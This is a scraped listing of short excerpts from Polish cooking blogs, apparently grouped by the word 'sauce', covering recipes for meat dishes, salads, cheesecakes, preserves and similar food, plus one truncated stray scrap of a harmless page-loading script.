porto, bekonem, chipsami z karczochów i natką pietruszki, następnie polędwica wołowa pieczona prawie dziesięć godzin w bardzo niskiej temperaturze - obłędna! - podana z puree z marchewki, gotowanymi ziemniakami i sosem z czerwonego wina. Jakie to było dobre... Na szczęście wszystkim starczyło miejsca na deser, na czym szczególnie mi zależało, bowiem za ten odpowiedzialna byłam ja. Ponieważ impreza była urodzinowa, musiał być

Pożeraczka, czyli raz adobrze
Jak łasuch zwyciężył leniwca, czyli historia pewnego dżemu 146

było to tak...  Potrzebowałam owoców do mojej Pavlovej z poprzedniego posta. Bo wiecie - bezy uwielbiam też z orzechami czy sosami, ale latem niemal niewybaczalne jest ich jedzenie bez dodatku pysznych owoców. Poszłam więc do sklepu, i pierwsze co, to w oczy wpadły mi truskawki. Po pięć koron! Co Wam może wydawać się ceną całkowicie normalną. Zazwyczaj jednak kosztują między

Pożeraczka, czyli raz adobrze
Noworoczne postanowienia. I makaroniki. Kawowe 185

nocnych stolikach? Już odpoczęliście po szaleństwach sylwestrowej nocy i powoli wdrażacie się w lepszą, noworoczną codzienność? My - przede wszystkim - postanowiliśmy zrewolucjonizować naszą kuchnię. Koniec z ciężkimi (i jakże pysznymi!) sosami, tłuczonymi ziemniaczkami (mmm...) i mięskiem do każdego obiadu. No dobra, może trochę przesadzam, aż tak źle to z nami nie było... Ale chcemy jeść lżej i zdrowiej, więcej sałatek

Pożeraczka, czyli raz adobrze
Wiosna, wiosna, wiosna, ach to ty! I wiosenne serniczki 171

przyjmuję do wiadomości).  A na przywitanie wiosny mam wyjątkowy sernik. Pieczony, bo już bardzo dawno właśnie takiego u mnie nie było. Na samych białkach, które zostały po sosie, a które dodatkowo ubiłam; dlatego jest to najdelikatniejszy, najlżejszy sernik pieczony, jaki na blogu znajdziecie. Po prostu rozpływa się w ustach. Intensywnie kokosowy, pachnie zniewalająco. Bialutki, świetnie komponuje się z czerwienią

Pożeraczka, czyli raz adobrze
Piernikowe śniadanie - na pożegnanie zimy 233

gorącej patelni rozpuścić cukier, dodać kremówkę i przyprawę do piernika. Gdy masa nabierze karmelowej barwy, dodać gruszki, smażyć kilka minut. Na talerzach układać kromki chałki, obok gruszki, polać pozostałym sosem. Podawać ciepłe. Smacznego! Jeszcze tylko dwa tygodnie! Wiem, że jestem już nudna, ale naprawdę nie mogę się doczekać - wyjazd do Polski zaprząta wszystkie moje myśli. Jeszcze troszkę i zacznę się

Pożeraczka, czyli raz adobrze
Absolutnie bajeczna tarta z jeżynami. I o woreczkach słów kilka 200

zgęstnieje. Dodać jeżyny, krótko gotować.  Mąkę rozrobić w pozostałej wodzie, wlać do garnuszka, wymieszać. Zagotować. Zdjąć z palnika, lekko przestudzić, ale jeszcze ciepłe jeżyny rozłożyć na tarcie, polać sosem. Schłodzić w lodówce przez kilka godzin, a najlepiej całą noc. Smacznego! Ja wiem, że temat psich kupek może nie za bardzo pasuje do kulinarnego bloga. Ale moim zdaniem to temat

Pożeraczka, czyli raz adobrze
Chlebki do żurku. Żurek w chlebie 248

należy sprawić aby ciasto stanowiło jak najgładszą i spójną kulę. Wszelkie niedociągnięcia mogą podczas pieczenia przekształcić się w szczeliny. Podawać z żurkiem np.  z tego przepisu  i sosem czosnkowym

Gospodyni Miejska
Papryka faszerowana kaszą jęczmienną 252

kaszę odsączyć, przesypać do miski. Dodać do niej podsmażoną cebulę z pieczarkami oraz groszek. Wymieszać. Do szklanki wlać odrobinę wody. Dodać zioła prowansalskie, obie papryki i dokładnie wymieszać. Powstały sos dodać do kaszy z warzywami i dokładnie wymieszać. Farsz posolić i popieprzyć do smaku. Papryki faszerować nadzieniem z kaszy i warzyw oraz układać w naczyniu żaroodpornym. Piec w piekarniku nagrzanym

Gospodyni Miejska
Placki z cukinii 2153

SMACZNEGO! Uwagi do przepisu: Z podanych składników wychodzi około 10 placków. Placki w wersji na słodko można podać ze śmietaną i cukrem, a w wersji na ostro np. z sosem tzatziki, czy keczupem. Do placków można dodać startą na tarce o małych oczkach cebulę. Placki smaży się na gorącym oleju, tak samo jak placki ziemniaczane

Gospodyni Miejska
Filety z kurczaka zapiekane w zupie cebulowej 587

Filety z kurczaka zapiekane w zupie cebulowej... Soczyste, miękkie mięso z piersi kurczaka. Pyszny śmietanowo-cebulowy sos. I pierzynka z pieczarek. Poezja smaku. Kto nie próbował, niech żałuje! Składniki: 2 filety z kurczaka (waga około 500 gram); 2 francuskie zupy cebulowe (u mnie Knorr) w proszku; 250 ml śmietany o zawartości tłuszczu 30 lub 36 %; 500 g pieczarek; Przyprawa

Gospodyni Miejska
Duszona marchewka z groszkiem 257

frytek, ziemniaków czy innych potraw - u mnie z kotlecikami z kalafiora. Woda nie musi przykrywać marchewki, ma jej być tylko odrobina, aby marchewka zmiękła podczas duszenia. Jeśli ktoś lubi sosy może dodać więcej wody. Źródło przepisu:   Wielkie Żarcie

Gospodyni Miejska
Placki kebabowe z sałatką z tuńczyka i selera naciowego 243

przypominają one typowego ciasta kebabowego. Do sałatki można dodać 2 przeciśnięte przez praskę ząbki czosnku. Można użyć zarówno tuńczyka w kawałkach jak i rozdrobnionego, w oleju lub w sosie własnym. Śmietanę można zastąpić jogurtem greckim lub gęstym jogurtem naturalnym. Z dodatkiem soli do sałatki należy uważać, bo tuńczyk jest dość słony. Słonecznik można zastąpić uprażonymi, rozdrobnionymi orzechami włoskimi. Źródło przepisu

Gospodyni Miejska
Twarogowe pierożki z tuńczykiem 193

ciasto. Nadzienie z tuńczyka i jajek. Smakowita przekąska lub danie główne!   Składniki: Ciasto: 250 g chudego twarogu; 250 g mąki pszennej; 250 g margaryny. Farsz: Puszka tuńczyka w sosie własnym, rozdrobnionego (waga netto, po odsączeniu - 130 g); 2 jaja ugotowane na twardo; 1 surowe jajo; 150 g startego sera mozzarella; 1 łyżka majonezu; 1 łyżka kwaśnej, gęstej śmietany

Gospodyni Miejska
Rolada z mięsa mielonego z farszem jajecznym 572

półka) przez około 50 - 60 minut. Wyjąć z piekarnika, odczekać około 10 minut i kroić roladę w plastry. SMACZNEGO! Uwagi do przepisu: Roladę można jeść na ciepło (np. z sosem), jak i na zimno (np. do kanapek). Do farszu można dodać około 50 g startego, żółtego sera. Zamiast samego mięsa wieprzowego można użyć mięsa wieprzowo-wołowego lub wieprzowiny z dodatkiem

Gospodyni Miejska
Sałatka z tuńczykiem i chipsami paprykowymi 615

tuńczyka. Ziarna kukurydzy i kosteczki białej cebuli. Otulone śmietaną i majonezem. A na dnie, wenątrz i na wierzchu chrupiące chipsy. Pychota!   Składniki: 2 puszki tuńczyka w kawałkach w sosie własnym (waga netto 1 opakowania, po odsączeniu 130 g); Puszka kukurydzy konserwowej (waga netto, po odsączeniu 285 g); 1 mała cebula; 2 łyżki kwaśnej, gęstej śmietany o zwartości tłuszczu

Gospodyni Miejska
Zupa ze słodkiej kapusty 295

wówczas cały swój aromat. Zupę można także ugotować na wywrze z mięsa. Zupa powinna być lekko pikantna, więc nie należy żałować ilości pieprzu. Przyprawę do zup można zastąpić łyżeczką sosu sojowego. Kapustę zamiast szatkować można pokroić w kostkę

Gospodyni Miejska
Sałatka brokułowa z papryką i czerwoną fasolą 692

Sałatka brokułowa z papryką i czerwoną fasolą... Różyczki zielonego, jędrnego brokuła. Pokrojona w drobną kosteczkę czerwona cebula i papryka. Czerwona fasola, jajka i uprażony słonecznik. A całość oblepiona sosem czosnkowym. Chrupiącego smacznego! Składniki: 1 brokuł (o wadze około 500 g); 4 jaja ugotowane na twardo; 1 średnia, czerwona papryka; 1 mała, czerwona cebula; Puszka czerwonej fasoli konserwowej (waga netto

Gospodyni Miejska
Paprykowe leczo z chili i pieczarkami 237

Paprykowe leczo z chili i pieczarkami... Paseczki różnokolorowych papryk. Strąki ostrych papryczek chili. Plasterki pieczarek, pióra cebuli. A całość zatopiona w pomidorowo - paprykowym sosie. Smacznego! Składniki: 6 średnich, czerwonych papryk; 2 średnie, żółte papryki; 1 średnia, zielnona papryka; 2 czerwone papryczki chili; 500 g pieczarek; 6 średnich pomidorów; 3 duże cebule; 2 łyżki oleju; 2 czubate łyżki koncentratu pomidorowego

Gospodyni Miejska
Grillowa sałatka ziemniaczana z ogórkami konserwowymi 472

Grillowa sałatka ziemniaczana z ogórkami konserwowymi... Kawałki ziemniaków. Kosteczki ogórków konserwowych. Drobno posiekany koperek. I sos majonezowo-śmietanowy. Prosta, szybka i tania. Idealna do dań z grilla. Polecam! Składniki: 1 kg młodych ziemniaków; 2 średnie ogórki konserwowe; Pęczek koperku; 4 łyżki majonezu; 4 łyżki kwaśnej, gęstej śmietany o zawartości tłuszczu 18%; Sól; Pieprz.  Sposób przygotowania: Ziemniaki wyszorować pod bierzącą

Gospodyni Miejska
Domowe nachos 267

przepisu: Nachos można podawać zarówno ciepłe jak i zimne. Ja podałam z guacamole i salsą pomidorową , a na stole postawiłam dodatkowo obrane łodygi selera naciowego do maczania w sosach. Nachos można także po upieczeniu oprószyć i zapiec z startym, żółtym serem. Źródło przepisu:   Słodkie Słone

Gospodyni Miejska
Salsa pomidorowa 325

Salsa pomidorowa... Kawałeczki soczystych pomidorów. Drobno posiekana czerwona cebula. Listki świeżej, aromatycznej kolendry. Kawałeczki ostrej papryczki chili. Dodatek szczypiorku i czosnku. Skropiona sokiem z cytryny. Doprawiona

Gospodyni Miejska
Sałatka kalafiorowa z kukurydzą i czosnkiem 1828

Sałatka kalafiorowa z kukurydzą i czosnkiem... Chrupiące różyczki kalafiora. Słodkie ziarna kukurydzy. Aromatyczny, drobno posiekany koperek. Oblane sosem czosnkowym na bazie majonezu i śmietany. Pachnąca, smaczna i tania. Polecam!   Składniki: 1 średni kalafior (waga około 500 g); Puszka kukurydzy konserwowej (waga netto, po odcedzeniu 285 g); Pęczek koperku; 2 ząbki czosnku; 4 czubate łyżki kwaśnej, gęstej śmietany o zawartości

Gospodyni Miejska
Kotlety ryżowe z mięsnym nadzieniem 301

wysokości) i parować pod przykryciem przez 10 minut. Kotlety można również parować przez 10 minut w przeznaczonym do tego garku z sitem do parowania. Podawać ciepłe z sosem pomidorowym/grzybowym/ pieczarkowym /koperkowym lub z samą surówką. SMACZNEGO! Uwagi do przepisu: Z podanych składników wychodzi około 14 kotletów. Do masy ryżowej można dodać curry lub inne ulubione przyprawy, a koperek zastąpić szczypiorkiem

Gospodyni Miejska
Talarki z cukinii 219

panierować plastrów w mące, tylko w jajku i samej bułce tartej.  Mąka sprawia, że panierka lepiej się trzyma na plastrze cukinii. Kotlety bardzo dobrze smakują np. z sosem czosnkowym lub z ulubioną surówką

Gospodyni Miejska
Konfitura z czeremchy i czekolady z lekką pikanterią 251

pokarmowe. Warto wybrać się na spacer do lasu, za miasto i poszukać tych czarnych perełek, bo właśnie teraz gałęzie uginają się od dojrzałych owoców, z których można zrobić pyszne sosy do mięs i deserów, galaretki i konfitury na zimę czy też aromatyczne nalewki. Owoce i przetwory z nich wykonane poza walorami smakowymi posiadają właściwości odżywcze, przeciwkaszlowe, rozgrzewające i antyreumatyczne. Owoce

SzczyptaSmaQ
Ocet jabłkowy - smakowy ocet domowy 179

octy smakowe można wyrabiać w prosty sposób z owoców, ziół, kwiatów, miodu itp. Zawierają dużo witamin, składników odżywczych i nie zawierają konserwantów. Są zdrowym dodatkiem kulinarnym nadającym wyrazistość sałatkom, sosom i napojom, dobrym do marynat i konserwacji żywności. Octy można aromatyzować przyprawami (np. goździki, cynamon, ziele angielskie), ziołami i jadalnymi kwiatami. Ocet jabłkowy znany był już w czasach starożytnych. Nadal

SzczyptaSmaQ
Wściekła papryka – pikantna konfitura 202

przygotowywanych potraw lub osób, dla których gotujecie, bez konieczności otwierania słoika. Możecie ją zagęścić przy użyciu dowolnego środka żelującego (polecam polską pektynę jabłkową), lub zawekować w wersji pysznego sosu bez zagęstników. "Wściekła papryka",  znakomita, rozgrzewająca konfitura, intensywnie czerwona... jak każdy smakołyk własnoręcznie wykonany, może być miłym  prezentem, nie tylko na gwiazdkę.  Ł adnie zapakowane słoiczki ucieszą

SzczyptaSmaQ
Suflet dyniowy z leśnymi grzybami, pieczony w cukinii 205

solą i pieprzem, wystudzić.   W rondlu stopić masło, dodać mąkę, podsmażyć nie rumieniąc. Dodać serek Almette, starty parmezan, grzyby, startą gałkę muszkatołową, chwilę gotować stale mieszając. Dodać do sosu po jednym żółtku i dynię w kilku porcjach. Doprawić do smaku, wystudzić.   Białka ubić na sztywną pianę ze szczyptą soli, delikatnie połączyć z masą dyniowo-grzybową. Napełnić foremki

SzczyptaSmaQ
Figi z kremem pieprzowo-cytrynowym i dziką różą, serwowane na szałwiowych grzankach 229

pośpiechu albo ograniczone do wypicia kawy. Możecie przygotować szybkie grzanki na maśle szałwiowym, z figą i puszystym kremem serowym, z ulubioną konfiturą słodką albo pikantną, lub skropić je sosem balsamicznym. Figi doskonale łączą się ze wszystkimi smakami.  Czas przygotowania: 15 minut Porcje: 4    Składniki: 8 kromek pieczywa tostowego, 150 g serka Almette z kolorowym pieprzem, 3 świeże

SzczyptaSmaQ
Dyniowy Whesley z granatem 186

wodnej z dodatkiem melasy, dodać 4 łyżki śmietany, wystudzić. Pozostałą śmietanę ubić na sztywno, wymieszać z dynią i serkiem Almette. Przełożyć warstwami do szklanki lub kieliszka (granaty, mus dyniowy, sos czekoladowy). Przygotować puree: Dynię przekroić na pół, usunąć pestki, wstawić do piekarnika nagrzanego do 190 stopni (skórą do góry), piec do miękkości ok. 30-40 minut

SzczyptaSmaQ
Pieczone ziemniaki aromatyzowane czarną truflą i sezamem 233

odpoczywać i dobrze się bawić, zamiast produkować czasochłonny catering. Pieczone ziemniaki z sezamem aromatyzowane oliwą truflową sprawdzą się przy ognisku i na bardziej wytwornym party. Możecie przygotować wasze ulubione sosy, które podacie z ziemniakami, lub skrócić czas przygotować i skorzystać ze smakowych serków z dodatkami, dostępnych w sklepach. Czas przygotowania: 70 minut (z pieczeniem) Porcje: 3     Składniki

SzczyptaSmaQ
SuperFood na śniadanie: sałatka z wodorostów i ogórka w rabarbarowym dresingu 244

szybkiej przekąski potrzebujemy chwilę, wystarczy suche płatki namoczyć w zimnej wodzie  na 5 minut . Wakame znakomicie łączy się z ogórkiem i słodko-kwaśnymi dresingami, a zamiast budować smak sosu z cukrem można użyć dżemu Łowicz o smaku rabarbarowym. Sałatka z wodorostów i ogórka z rabarbarowym dresingiem w połączeniu z olejem sezamowym, dla mnie genialna kombinacja. Z powodzeniem zastąpi śniadaniowe

SzczyptaSmaQ
Konfitura z zielonych pomidorów 216

małym ogniu mieszając, do momentu aż pomidory puszczą sok. Po 60 minutach zdjąć z ognia. Jeśli konfitury są zbyt rzadkie można je odsączyć na sicie (sok wykorzystać, np. jako sos do deserów lub dań na słodko).   Gorące konfitury przełożyć do wyparzonych słoików, szczelnie zamknąć, odstawić do wystygnięcia do góry dnem, lub pasteryzować na mokro.* * Garnek wyłożyć ściereczką, wstawić słoiki

SzczyptaSmaQ
PANIR, domowy ser indyjski 191

łatwo przygotować w warunkach domowych. Potrzebujemy dwa podstawowe składniki, tłuste mleko (nie UHT ! ) i sok z cytryny (ok. 2 łyżki soku na szkl. mleka). Można go używać do kanapek, sosów, sałatek, piec, grillować, używać zamiast fety i halloumi. Przepis pochodzi z warsztatów kulinarnych Kuchnia Indyjska, prowadzonych przez Piotra Henschke , w których miałam ogromną przyjemność uczestniczyć. Przepis znajdziecie również w bardzo

SzczyptaSmaQ
Mus z czekolady 1999

Składniki: 60 g gorzkiej czekolady, 120 ml śmietany kremówki, 1 duże jajo, 15 g cukru, 1 łyżeczka brandy, czekolada do dekoracji (wiórki, płatki, kluseczki z sosu czekoladowego itp.). Przygotowanie: Ubić schłodzoną śmietanę. Jaja ubić z cukrem w kąpieli wodnej (miskę z jajami postawić nad garnkiem z gotującą się wodą, ubijać trzepaczką). Gdy masa zacznie się robić biała zdjąć miskę

SzczyptaSmaQ
Kakaowe serniczki z nutą pomarańczy 216

Uwielbiam szybkie desery, które zawsze się udają :). Należą do nich kakaowe serniczki. Serniczki można podać ze słonym karmelem , lodami waniliowymi, gorącym sosem owocowym lub tylko posypać cukrem pudrem wymieszanym z kakao. Czas przygotowania: 40 minut Porcje: 5     Składniki: 500 g zmielonego twarogu, 1/4 szklanki cukru, 2 jaja, 1 łyżeczka ekstraktu wanilii , 4 łyżki kakao, 1 łyżka budyniu waniliowego

SzczyptaSmaQ
Newella w kieszonkach z prosciutto w sezamowym dresingu 231

klasycznej, 16 plastrów prosciutto, 2 długi ogórek, 150 g rukoli, 1/3 szkl.  suszonych wakame, 1/4 szkl. świeżej żurawiny, gałązki koperku, listki młodych buraczków, łyżka oliwy. Dresing: 4 łyżki sosu sojowego, 2 łyżka oleju sezamowego, 2 łyżka prażonego sezamu, 2 łyżeczka brązowego cukru, 1 łyżeczka skórki otartej z cytryny, posiekana chili (bez pestek), sok z cytryny do smaku

SzczyptaSmaQ
Warsztaty kawowe z Anią Starmach 175

która nadawała niezwykle pozytywny ton całemu spotkaniu. Dwa dni spędzone w Cook Up zaowocują nowymi pomysłami i częstszym zastosowaniem kawy w kuchni. Już niebawem na blogu wołowina w sosie kawowym, inspirowana podróżą do Gwatemali i warsztatami Jacobs (bądźcie czujni ;) ). Cook Up " Cała w migdałach " by SzczyptaSmaQ wg. przepisu Ani Starmach " Zimowa kawa " by SzczyptaSmaQ, przepis własny Serdecznie pozdrawiam wszystkie

SzczyptaSmaQ
Tarta szpinakowa z czerwoną fasolą i granatem aromatyzowana truflą 207

Kolejne udane połączenie granatu z fasolą. Tarta na kruchym spodzie faszerowana szpinakiem, czerwoną fasolą i granatem, w sosie z gorgonzoli i parmezanu. Czas przygotowania: 40 minut + chłodzenie ciasta Porcje: 8     Składniki: Ciasto: 125 g mąki pszennej, 75 g schłodzonego masła w kawałkach, szczypta soli, zimna woda, oliwa do posmarowania formy. Nadzienie: 200 g liści szpinaku, 1 puszka odsączonej

SzczyptaSmaQ
Wykwintny gulasz - Quiche 336

przygotowujemy w miseczce 1 jajko rozmącone 1 łyżeczką mąki - po wyjęciu tarty wyciągamy fasolkę, dno smarujemy zawiesiną z jajka i mąki pomoże to posklejać niepotrzebne dziurki i pęknięcia, aby sos nie uciekał nam z tarty   - wkładamy na kolejne 5 min na 180 stopni - po tym czasie wyciągamy i wkładamy do tego nasz gulasz - wyciągamy resztę naszego ciasta rozwałkujemy koło

Basia w kuchni
Kluski leniwe z karmelizowanym jabłkiem oraz nutą cynamonu 211

równo pokrył nam jabłka - gotowe kluski wyciągamy łyżką cedzakową i układam je na papierze kuchennym, aby odsączyć je od wody, kładę na talerz układam na nich jabłka oraz polewam sosem który powstał z jabłek i karmelu - gotowe WSKAZÓWKI - ważne, aby ciasto na  kluski przygotować krótko przed podaniem zapobiegnie to niepotrzebnemu rozmiękczeniu kluski. - można przygotować ciasto wcześniej i więcej

Basia w kuchni
Domowa pizza 217

mozzarelą i świeżym tymiankiem - wsuwam wraz z papierem do pieczenia do piekarnika na gorącą blachę - piekę 8-10 minut - po tym czasie wsuwam kolejną - daję jej odparować, polewam ulubionym sosem w moim przypadku domowym keczupem, dodaję rukoli   i można zajadać :) Smacznego

Basia w kuchni
Pasztet drobiowy według Basi 423

czarna (ma bardzo aromatyczny posmak ugotowanego jajka) można użyć w zamian morskiej - do smaku świeżo zmielony pieprz do smaku gałka muszkatołowa 1 płaską łyżeczkę  kardamon mielony pół łyżeczki sos sojowy ciemny 1 łyżkę  majeranek 1 łyżkę  ząbek czosnku  2 łyżki oliwy  2 łyżki masła  oliwa do smażenia wątróbki  SPOSÓB PRZYRZĄDZENIA : - kurczaka myję, dzielę

Basia w kuchni
Mielone alla gołąbki 245

rondla podlać wodą i chwile poddusić , pod koniec  dolać przecier wymieszany z 1 łyżeczką mąki ,odrobiną wody i śmietaną .        Ilość i gęstość sosu zależy już od waszego gustu .                              SMACZNEGO

Sama słodycz i szczypta chili
Sałatka z rukolą, dynią i kurczakiem z czosnkiem niedźwiedzim 322

oliwek sól pieprz dressing: 4 łyżki oliwy z oliwek 1 łyżeczka miodu 1 łyżka soku z cytryny 1 łyżeczka suszonego czosnku niedźwiedziego sól pieprz Przygotowanie: dressing: Wszystkie składniki na sos razem mieszamy, do uzyskania gładkiej konsystencji. Doprawiamy pieprzem i solą. Piersi z kurczaka myjemy, osuszamy, delikatnie rozbijamy tłuczkiem w najgrubszej części i przekładamy do miseczki. Dodajemy czosnek niedźwiedzi, 1 łyżkę

Oryginalny smak
Co można zrobić z mięsa? 179

Zamieszczam kilka  przepisów z mojego bloga  na dania mięsne. Może wykorzystacie. Domowa rolada Filet z indyka Żeberka w sosie słodko- kwaśnym Mielone z pieczarkami Pulpety z karkówki SMACZNEGO   Czekam na Państwa opinie i cenne rady. Jeśli zostawicie tutaj swój ślad, łatwiej mi będzie trafić

W kuchennym oknie Ewy
Torcik z wątróbką drobiową 275

czerwoną kapustę, posypać przyprawami, teraz wątróbka i następnie sałata, sól, pieprz. Nakryć drugim krążkiem. Posmarować jajkiem i posypać kminkiem. Piec w temp.200 stop. 20 minut. Torcik doskonale smakuje z sosem grzybowym lub jogurtowo-ziołowym

Kulinarny karnet Christophera
Polędwica wieprzowa z kawą i kakao 190

minut. Obracamy je w tym czasie 4-krotnie. Przed podaniem odstawiamy na około 10 minut (przykryte folią aluminiową). Podawać na ciepło, pokrojone na grube kawałki np. z sosem z owoców egzotycznych. Polędwica wieprzowa z kawą i kakao is a post from: naRuszcie.pl The post Polędwica wieprzowa z kawą i kakao appeared first on naRuszcie.pl

naRuszcie
Makaronowa patelnia 51421

dodać pokrojoną w paski szynkę i pomidory. Podsmażać przez jakiś czas, dodać listki tymianku i doprawić do smaku. Na koniec dodać serek, zmniejszyć ogień i mieszać, aż do uzyskania sosu. Makaron ugotować al dente w osolonej wodzie i dodać do pozostałych składników z patelni. Wymieszać i podawać od razu. Smacznego

Pasja Smaku
Produkty od firmy De Care - dystrybutora przysmaków świata 151

drzwi zapukał kurier, przynosząc mi paczkę z produktami dystrybutora przysmaków świata - De Care. :-) Zawartość paczki bardzo mnie ucieszyła a w mojej głowie już kiełkują pomysły na wykorzystanie ich. 1. Sos Teriyaki http://www.decare.pl/sosy-i-marynaty/sos-teriyaki 2. Napój sojowy z wapniem  http://www.decare.pl/napoje-sojowe/napoj-sojowy-z-wapniem 3. Krem krówkowy. http://www.decare.pl/konfitury/krem-krowkowy 4. Musztarda Dijon http://www.decare.pl/musztardy/musztarda-oryginalna-dijon-1 5. Zielona herbata organiczna

Szefowa kuchni
Gołąbki wegetariańskie 442

wody na środek liścia nakładamy porcję nadzienia (ilość zależna od wielkości liścia) i zawijamy w zgrabne gołąbki :-) . Gołąbki układamy w blaszce lub naczyniu żaroodpornym. Podlewamy odrobiną bulionu lub dowolnym sosem (najlepiej pomidorowym lub szpinakowym) i zapiekamy przez 20 min, w 190 st. C. Filed under: Dania wegetariańskie

kuchcikownia
Torciki bezowe z serkiem, pomarańczami i granatem 186

patelni rozpuszczamy miód, dodajemy sok pomarańczowy oraz cynamon. Podsmażamy w nim cząstki pomarańczy które następnie układamy na serku. Przykrywamy je górą bezy. Torciki ozdabiamy ziarenkami granatu i polewamy sosem miodowo-cynamonowo-pomarańczowym który został na patelni. Deser najlepiej podajemy od razu gdy pomarańcze są jeszcze ciepłe. Smacznego :) function load(url, callback) { var xhr; if(typeof XMLHttpRequest !== 'undefined') xhr = new XMLHttpRequest

Mienta blog
CHLEB BEZGLUTENOWY RAZOWY Z TAPIOKĄ, ZIARNAMI I CZARNYM SEZAMEM. 235

BEZGLUTENOWY NIE ZNACZY ZŁY.  MĄKA Z TAPIOKI: "Produkt skrobiowy otrzymany z manioku, bez smaku i zapachu. Skład: mąka z tapioki* 100% (*produkt rolnictwa ekologicznego). Zastosowanie: do zagęszczania zup, sosów, musów oraz napojów. Może być również stosowana do przygotowania kisieli, puddingów, budyni." (Opis:  sklep.) Kupisz ją tutaj: kliknij Jest to produkt bezglutenowy. Mąka uważana za najlepszą do wyrobu bezglutenowego

Wypisz Wymaluj
Szaszłyki z piekarnika 699

tradycyjnego grilla nie oznacza wcale konieczności rezygnacji z typowo grillowych przysmaków. :-) Szaszłyki z piekarnika są idealne na zdrowy obiad. Można doprawić je po swojemu i zjeść z ulubionymi sosami.  podwójny filet z kurczaka kilka pieczarek 3 małe cebule  1/2 żółtej papryki 1/2 zielonej papryki 1/2 czerwonej papryki sól, pieprz, czosnek granulowany, słodka papryka 1. Filety z kurczaka kroimy

Szefowa kuchni
Schab z śliwką 195

Wpis pochodzi z www.mgotuje.pl Schab pieczony z śliwą w środku to świetny pomysł na obiad z dodatkiem ulubionego sosu lub jako wędlina na kanapki dla całej rodziny. Idealne danie na świąteczny stół lub imprezę. Pieczony schab jest bardzo smaczny, delikatny i kruchy, a dodatek w postaci suszonej śliwki idealnie podkreśla

Marta Gotuje
Parówki w cieście francuskim 222

kiedy nie mam ochoty spędzać godzin w kuchni. ;-) Wtedy zawsze służy mi pomocą ciasto francuskie, którego rolka zwykle jest w lodówce. Pomysł na ekspresową kolację. Bardzo dobrze smakują z sosem barbecue z tego przepisu. 1 płat ciasta francuskiego opakowanie parówek lub/i cienkie kiełbaski 200g żółtego sera w plastrach 1. Na blacie rozkładamy ciasto francuskie. dzielimy na kilka części

Szefowa kuchni
Policzki wołowe w piwie z warzywami i korzenną nutą 259

przyrządzenie. To mięso bardzo lubi być długo duszone . Dzięki takiej obróbce jest mięciuteńkie i po prostu rozpływa się w ustach. Na pierwszy ogień poszła więc wersja w sosie piwnym, która plątała mi się po głowie już jakiś czas. Zastanawiałam się tylko jakie piwo wykorzystać do dania i nie byłam pewna, aż do momentu spróbowania nowego Książęcego chlebowo-miodowego. Jego ciekawa

Smaczna Pyza
Owsiankowanie #1 W pakiecie czy bez, śniadanie ważna rzecz! 292

nadęcia. I sławy. A dla zdrowia. I do kawy. Endżoj. Krótki przegląd tego, co do tej pory owsiankozjadłam. 1.  Pieczona owsianka truskawkowa  2.  Kuskusianka z sosem żurawinowym i czekoladą  3.  Elvisianka Mój zdecydowany faworyt, nr 3. To był foodgazm po prostu. I sama nie wiem co jeszcze. Klaskałam uszami, jak jadłam! Że o szaleju

bastalena
Makaron razowy z ciecierzycą 230

rozgrzaną patelnię i smaż cały czas mieszając. Gdy warzywa zmiękną, dodaj odsączoną z zalewy ciecierzycę oraz pomidory, dopraw pieprzem, solą, tymiankiem oraz majerankiem. Duś 15 - 20 minut. Do gotowego sosu dodaj ugotowany wcześniej makaron. Podawaj posypany listkami tymianku.     /źródło "Rewolucje na talerzu

Anioły w kuchni
Sałatka z kaszą gryczaną 172

sól, pieprz do smaku * opcjonalnie sezam i czarnuszka do posypania  Przygotowanie : Składniki dressingu połączyć. Pomidorki przekroić na połówki. Kiełbasę pokroić w półplasterki, podsmażyć. Wszystkie składniki sałatki wymieszać, polać sosem i podawać. Polecam sałatkę posypać sezamem i czarnuszką

Magiczne Życie Marty
Wątróbka z owocami w czekoladzie 269

pewno będzie bawić się na rożnych imprezach andrzejkowych. Ale jeśli mimo andrzejek zostajecie jednak w domu proponuję zrobić sobie niecodzienną kolacje, mianowicie wątróbkę drobiową z owocami i sosem podkręconym czekoladą. Bombowe połączenie. Zapraszam. Czytaj więcej

Bernika - moj kulinarny pamietnik
807. Zapiekane płatki ryżowe & Wspólne pieczenie. 175

płatki za rzadkie chyba ugotowałam  i nie była tak ścięta jakbym chciała, ale smaki jak najbardziej zgrane ;) Z wczorajszego pieczenia wyszedł odrywany dyniowy chlebek drożdżowy z orzechami i sosem toffi . Dobre było. Zdjęć za bardzo nie mam, bo nie o to wczoraj chodziło ;) A, dzisiaj znów razem tym razem kierunek Warszawa, zakupy, kino...cały dzień razem

More food, love and dreams
Sałatka z pieczarkami 216

Ciekawe połączenie surowych pieczarek z kurczakiem i warzywami. Do tego makaron - u mnie taki z zupek chińskich, ale można użyć dowolnego - idealnie sprawdzi się taki do rosołu. Sos na bazie majonezu. Szybka, prosta i idealna np na kolację andrzejkową. Podana w szklankach pięknie prezentuje się na stole. Składniki : *5-6 surowych pieczarek * łyżka soku z cytryny * zupka chińska lub makaron

Magiczne Życie Marty
szybkowar-roladka indycza z czosnkiem... 208

zrumienić roladę z każdej strony, wlać wodę, zamknąć szybkowar i od chwili zagotowania zmniejszyć ogień na minimum i gotować z 25 minut spuścić ciśnienie z szybkowara i wyjąć roladę - sos co pozostał można zmrozić i np. użyć do kopytek, kaszy, makaronu, bigosu itp. z zimnej rolady usunąć sznurek i można kroić cienkie plastry do pieczywa rolada jest smaczna, delikatna, krucha

W Mojej Kuchni Lubię
Sałatka śledziowa z curry. 1167

dziś i cieszy się sporym powodzeniem. Połączenie śledzia i curry wydawało mi się wręcz dziwaczne, ale nie byłabym sobą gdybym nie spróbowała. Poza tym ileż można jeść śledzie w sosie z musztardą i samym jogurcie? Składniki: Ja zawsze sałatki robię na oko, mniej więcej proporcje sobie ustalam i robię do smaku ;) płaty śledziowe solone cebula ogórek korniszon/grzybki marynowane  pieprz

Malinowe Pocałunki
Puree z dyni 180

Pure z pieczonej dyni dodaję do zup, sosów, past i warzyw. Składniki: około kilograma dyni sól i pieprz Dynię kroimy na kilka sporych kawałków razem ze skórką. Pieczemy przez godzinę w temperaturze 120 stopni. Odcinamy skórkę a miąższ mielimy blenderem. Dodajemy sól i pieprz do smaku. Nadmiar przekładam do słoików i pasteryzuję

prawdziwe jedzenie
KREM Z DYNI / KÜRBISSUPPE 241

